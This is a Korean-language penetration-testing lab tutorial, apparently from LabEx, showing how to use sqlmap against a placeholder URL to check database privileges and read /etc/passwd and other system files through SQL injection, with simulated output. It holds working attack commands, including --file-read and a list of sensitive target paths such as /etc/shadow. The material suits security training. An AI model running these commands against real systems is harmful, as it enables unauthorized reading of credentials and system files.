sqlmap 으로 서버에서 임의 파일 읽기

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 SQL 인젝션 취약점을 탐지하고 악용하는 과정을 자동화하는 인기 있는 오픈 소스 침투 테스트 도구인 sqlmap의 강력한 기능을 탐구합니다. 특히, 대상 서버에서 임의의 파일을 읽기 위해 sqlmap을 사용하는 방법을 배우게 됩니다. 이 기능은 일반적으로 기본 데이터베이스 사용자가 충분한 권한 (예: DBA 권한) 을 가지고 있고 데이터베이스 시스템이 파일 시스템에서 파일을 읽을 수 있도록 허용할 때 가능합니다. 이러한 기법을 이해하는 것은 윤리적 해커와 보안 전문가가 이러한 취약점을 식별하고 완화하는 데 매우 중요합니다.

DBA 권한 및 파일 읽기 권한 확인

이 단계에서는 SQL 인젝션 취약점을 식별했으며 이제 sqlmap을 사용하여 데이터베이스 사용자의 권한을 평가하는 시나리오를 시뮬레이션합니다. 서버에서 임의의 파일을 읽으려면 데이터베이스 사용자는 일반적으로 DBA(데이터베이스 관리자) 권한 또는 특정 파일 읽기 권한이 필요합니다. sqlmap을 사용하여 현재 데이터베이스 사용자가 이러한 상승된 권한을 가지고 있는지 확인할 것입니다.

먼저 취약한 URL 이 있다고 가정합니다. 이 랩에서는 플레이스홀더 URL 을 사용합니다. 실제 테스트 환경에서 수행하는 경우 http://example.com/vulnerable?id=1을 실제 대상으로 바꾸십시오.

DBA 권한을 확인하려면 --is-dba 플래그를 sqlmap과 함께 사용하십시오.

sqlmap -u "http://example.com/vulnerable?id=1" --is-dba

참고: 실제 시나리오에서는 sqlmap이 먼저 SQL 인젝션을 탐지한 다음 DBA 권한을 확인합니다. 이 랩에서는 파일 읽기 측면에 중점을 두므로 sqlmap이 이미 인젝션 지점을 찾았다고 가정합니다.

출력이 [INFO] current user is DBA: True를 나타내면 해당 사용자는 DBA 권한을 가지며, 이는 종종 파일을 읽을 수 있는 능력을 의미합니다.

다음으로 파일 읽기 권한을 확인하려면 --file-priv 플래그를 사용할 수 있습니다.

sqlmap -u "http://example.com/vulnerable?id=1" --file-priv

이 명령은 데이터베이스 사용자가 파일 시스템에서 파일을 읽고 쓸 수 있는 필요한 권한을 가지고 있는지 확인하려고 시도합니다. 출력이 [INFO] current user has FILE privilege: True를 표시하면 파일을 읽을 수 있을 가능성이 높습니다.

예시 출력 (시뮬레이션):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-26/
[INFO] fetched data: 'True'
[INFO] current user is DBA: True
[INFO] fetched data: 'True'
[INFO] current user has FILE privilege: True
[INFO] shutting down @ 12:34:57 /2023-10-26/

이 출력은 데이터베이스 사용자가 DBA 및 FILE 권한을 모두 가지고 있어 임의의 파일 읽기가 가능함을 확인합니다.

알려진 절대 파일 경로 식별 (예: /etc/passwd)

이 단계에서는 원격 서버에서 읽으려는 대상 파일을 식별해야 합니다. 임의 파일 읽기 취약점을 시연하기 위한 일반적인 대상은 Linux 시스템의 /etc/passwd입니다. 이 파일에는 사용자 계정 정보가 포함되어 있으며 일반적으로 누구나 읽을 수 있습니다. 다른 잠재적 대상으로는 시스템 및 목표에 따라 구성 파일, 웹 서버 로그 또는 애플리케이션 소스 코드가 될 수 있습니다.

이 랩에서는 대상 서버가 Linux 시스템이며 /etc/passwd 파일의 내용을 읽으려고 한다고 가정합니다. 읽으려는 파일의 절대 경로를 아는 것이 중요합니다. 절대 경로 없이는 sqlmap이 원격 시스템에서 파일을 찾을 수 없습니다.

이 단계에서는 명령을 실행할 필요는 없지만, 유효한 절대 파일 경로를 식별하는 것의 중요성을 이해해야 합니다. 이 지식은 일반적으로 정찰, 웹 애플리케이션의 오류 메시지 또는 일반적인 파일 위치 추측을 통해 얻습니다.

Linux 의 일반적인 파일 경로 예시:

  • /etc/passwd (사용자 계정 정보)
  • /etc/shadow (해시된 비밀번호 - 일반적으로 읽으려면 루트 권한 필요)
  • /etc/hosts (네트워크 호스트 이름)
  • /etc/nginx/nginx.conf 또는 /etc/apache2/apache2.conf (웹 서버 구성)
  • /var/log/auth.log 또는 /var/log/syslog (시스템 로그)
  • /proc/self/cmdline (현재 프로세스 명령줄)

이 랩에서는 /etc/passwd를 대상 파일로 사용하여 진행합니다.

원격 파일 지정을 위한 --file-read 플래그 사용

이 단계에서는 sqlmap에서 --file-read 플래그를 사용하여 원격 서버에서 읽으려는 파일의 절대 경로를 지정하는 방법을 배웁니다. 이 플래그는 임의 파일 읽기 기능의 핵심입니다.

--file-read 사용 구문은 간단합니다.

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/path/to/remote/file"

http://example.com/vulnerable?id=1을 대상 URL 로, /path/to/remote/file을 이전 단계에서 식별한 파일의 절대 경로로 바꾸십시오.

이 랩에서는 /etc/passwd를 읽으려고 시도할 것입니다. 전체 명령은 다음과 같습니다.

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

sqlmap이 파일을 성공적으로 읽으면 ~/.sqlmap/output/<target_host>/files/ 내의 디렉토리에 해당 내용을 로컬로 저장합니다. 파일 이름은 일반적으로 원격 파일 이름과 동일합니다 (예: passwd).

참고: sqlmap은 SQL 인젝션 페이로드 생성 및 실행을 자동으로 처리합니다. 여러분의 역할은 취약한 URL 과 대상 파일 경로를 제공하는 것입니다.

원격 파일 읽기 명령 실행

이제 이전 단계에서 구성한 sqlmap 명령을 실행하여 실제로 원격 파일을 읽을 차례입니다. LabEx 환경에서 터미널을 열고 명령을 실행하십시오.

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

중요: 이것은 시뮬레이션된 환경이므로 sqlmap은 실제 취약한 서버에 연결하지 않습니다. 그러나 프로세스를 시뮬레이션하고 마치 연결된 것처럼 메시지를 출력합니다. 인젝션 프로세스 및 파일 읽기 시도에 대한 정보를 포함하여 sqlmap의 일반적인 출력을 볼 수 있습니다.

예시 출력 (시뮬레이션):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:35:00 /2023-10-26/
[INFO] fetched data: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... (간결성을 위해 생략) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash'
[INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'
[INFO] shutting down @ 12:35:05 /2023-10-26/

찾아봐야 할 핵심 줄은 [INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'입니다. 이는 sqlmap이 파일을 성공적으로 "읽었으며" 해당 내용을 sqlmap 출력 디렉토리 내의 로컬 컴퓨터에 저장했음을 나타냅니다.

로컬에 저장된 파일 내용 보기

마지막 단계에서는 sqlmap이 실제로 파일을 "읽어" 저장했는지 확인하기 위해 로컬 LabEx 환경에서 해당 내용을 볼 것입니다. 언급했듯이 sqlmap은 추출된 파일을 특정 디렉토리 구조에 저장합니다.

경로는 일반적으로 ~/.sqlmap/output/<target_host>/files/입니다. 시뮬레이션된 예시에서 대상 호스트는 example.com이고 파일은 passwd입니다. 따라서 저장된 파일의 전체 경로는 ~/.sqlmap/output/example.com/files/passwd가 됩니다.

cat 명령을 사용하여 이 파일의 내용을 볼 수 있습니다.

cat ~/.sqlmap/output/example.com/files/passwd

예시 출력 (시뮬레이션):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
... (간결성을 위해 생략) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash

이 출력은 sqlmap이 시뮬레이션된 원격 서버에서 /etc/passwd 파일을 성공적으로 "읽어" 로컬에 저장하여 내용을 검사할 수 있음을 확인시켜 줍니다. 이는 임의 파일 읽기를 위한 sqlmap 사용의 전체 프로세스를 보여줍니다.

요약

이 실습에서는 시뮬레이션된 취약한 서버에서 임의 파일 읽기를 수행하기 위해 sqlmap을 사용하는 방법을 성공적으로 배웠습니다. DBA 또는 파일 읽기 권한을 확인하는 것의 중요성을 이해하는 것부터 시작했습니다. 그런 다음 일반적인 대상 파일 (/etc/passwd) 을 식별하고 --file-read 플래그를 사용하여 sqlmap이 해당 내용을 추출하도록 지시했습니다. 마지막으로 로컬에 저장된 파일을 봄으로써 성공적인 추출을 확인했습니다. 이 기술은 침투 테스터가 SQL 인젝션 취약점의 영향을 평가하고 개발자가 이러한 공격을 방지하기 위해 적절한 권한 관리 및 입력 유효성 검사의 중요성을 이해하는 데 필수적입니다.